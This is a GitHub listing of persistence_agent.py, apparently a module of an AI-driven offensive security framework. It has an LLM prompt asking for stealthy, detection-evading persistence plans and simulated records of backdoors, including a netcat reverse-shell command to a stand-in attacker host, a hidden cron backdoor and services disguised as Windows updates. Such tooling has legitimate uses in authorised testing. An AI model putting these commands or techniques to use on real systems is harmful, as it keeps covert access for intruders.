forked from JoasASantos/NeuroSploit
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpersistence_agent.py
More file actions
250 lines (208 loc) · 8.28 KB
/
Copy pathpersistence_agent.py
File metadata and controls
250 lines (208 loc) · 8.28 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
#!/usr/bin/env python3
"""
Persistence Agent - Maintain access to compromised systems
"""
import json
import logging
from typing import Dict, List
from core.llm_manager import LLMManager
logger = logging.getLogger(__name__)
class PersistenceAgent:
"""Agent responsible for maintaining access"""
def __init__(self, config: Dict):
"""Initialize persistence agent"""
self.config = config
self.llm = LLMManager(config)
logger.info("PersistenceAgent initialized")
def execute(self, target: str, context: Dict) -> Dict:
"""Execute persistence phase"""
logger.info(f"Starting persistence establishment on {target}")
results = {
"target": target,
"status": "running",
"persistence_mechanisms": [],
"backdoors_installed": [],
"scheduled_tasks": [],
"ai_recommendations": {}
}
try:
# Get previous phase data
privesc_data = context.get("phases", {}).get("privilege_escalation", {})
if not privesc_data.get("successful_escalations"):
logger.warning("No privilege escalation achieved. Limited persistence options.")
results["status"] = "limited"
# Phase 1: AI-Powered Persistence Strategy
logger.info("Phase 1: AI persistence strategy")
strategy = self._ai_persistence_strategy(context)
results["ai_recommendations"] = strategy
# Phase 2: Establish Persistence Mechanisms
logger.info("Phase 2: Establishing persistence mechanisms")
system_info = privesc_data.get("system_info", {})
os_type = system_info.get("os", "unknown")
if os_type == "linux":
results["persistence_mechanisms"].extend(
self._establish_linux_persistence()
)
elif os_type == "windows":
results["persistence_mechanisms"].extend(
self._establish_windows_persistence()
)
# Phase 3: Install Backdoors
logger.info("Phase 3: Installing backdoors")
results["backdoors_installed"] = self._install_backdoors(os_type)
# Phase 4: Create Scheduled Tasks
logger.info("Phase 4: Creating scheduled tasks")
results["scheduled_tasks"] = self._create_scheduled_tasks(os_type)
results["status"] = "completed"
logger.info("Persistence phase completed")
except Exception as e:
logger.error(f"Error during persistence: {e}")
results["status"] = "error"
results["error"] = str(e)
return results
def _ai_persistence_strategy(self, context: Dict) -> Dict:
"""Use AI to plan persistence strategy"""
prompt = self.llm.get_prompt(
"persistence",
"ai_persistence_strategy_user",
default=f"""
Plan a comprehensive persistence strategy based on the following context:
{json.dumps(context, indent=2)}
Provide:
1. Recommended persistence techniques (prioritized)
2. Stealth considerations
3. Resilience against system reboots
4. Evasion of detection mechanisms
5. Multiple fallback mechanisms
6. Cleanup and removal procedures
Response in JSON format with detailed implementation plan.
"""
)
system_prompt = self.llm.get_prompt(
"persistence",
"ai_persistence_strategy_system",
default="""You are an expert in persistence techniques and advanced persistent threats.
Design robust, stealthy persistence mechanisms that survive reboots and detection attempts.
Consider both Windows and Linux environments.
Prioritize operational security and longevity."""
)
try:
formatted_prompt = prompt.format(context_json=json.dumps(context, indent=2))
response = self.llm.generate(formatted_prompt, system_prompt)
return json.loads(response)
except Exception as e:
logger.error(f"AI persistence strategy error: {e}")
return {"error": str(e)}
def _establish_linux_persistence(self) -> List[Dict]:
"""Establish Linux persistence mechanisms"""
mechanisms = []
# Cron job
mechanisms.append({
"type": "cron_job",
"description": "Scheduled task for persistence",
"command": "*/5 * * * * /tmp/.hidden/backdoor.sh",
"status": "simulated"
})
# SSH key
mechanisms.append({
"type": "ssh_key",
"description": "Authorized keys persistence",
"location": "~/.ssh/authorized_keys",
"status": "simulated"
})
# Systemd service
mechanisms.append({
"type": "systemd_service",
"description": "Persistent system service",
"service_name": "system-update.service",
"status": "simulated"
})
# bashrc modification
mechanisms.append({
"type": "bashrc",
"description": "Shell initialization persistence",
"location": "~/.bashrc",
"status": "simulated"
})
return mechanisms
def _establish_windows_persistence(self) -> List[Dict]:
"""Establish Windows persistence mechanisms"""
mechanisms = []
# Registry Run key
mechanisms.append({
"type": "registry_run",
"description": "Registry autorun persistence",
"key": "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",
"status": "simulated"
})
# Scheduled task
mechanisms.append({
"type": "scheduled_task",
"description": "Windows scheduled task",
"task_name": "WindowsUpdate",
"status": "simulated"
})
# WMI event subscription
mechanisms.append({
"type": "wmi_event",
"description": "WMI persistence",
"status": "simulated"
})
# Service installation
mechanisms.append({
"type": "service",
"description": "Windows service persistence",
"service_name": "WindowsSecurityUpdate",
"status": "simulated"
})
return mechanisms
def _install_backdoors(self, os_type: str) -> List[Dict]:
"""Install backdoors"""
backdoors = []
if os_type == "linux":
backdoors.extend([
{
"type": "reverse_shell",
"description": "Netcat reverse shell",
"command": "nc -e /bin/bash attacker_ip 4444",
"status": "simulated"
},
{
"type": "ssh_backdoor",
"description": "SSH backdoor on alternate port",
"port": 2222,
"status": "simulated"
}
])
elif os_type == "windows":
backdoors.extend([
{
"type": "powershell_backdoor",
"description": "PowerShell reverse shell",
"status": "simulated"
},
{
"type": "meterpreter",
"description": "Meterpreter payload",
"status": "simulated"
}
])
return backdoors
def _create_scheduled_tasks(self, os_type: str) -> List[Dict]:
"""Create scheduled tasks"""
tasks = []
if os_type == "linux":
tasks.append({
"type": "cron",
"schedule": "*/10 * * * *",
"command": "Callback beacon every 10 minutes",
"status": "simulated"
})
elif os_type == "windows":
tasks.append({
"type": "scheduled_task",
"schedule": "Daily at 2 AM",
"command": "Callback beacon",
"status": "simulated"
})
return tasks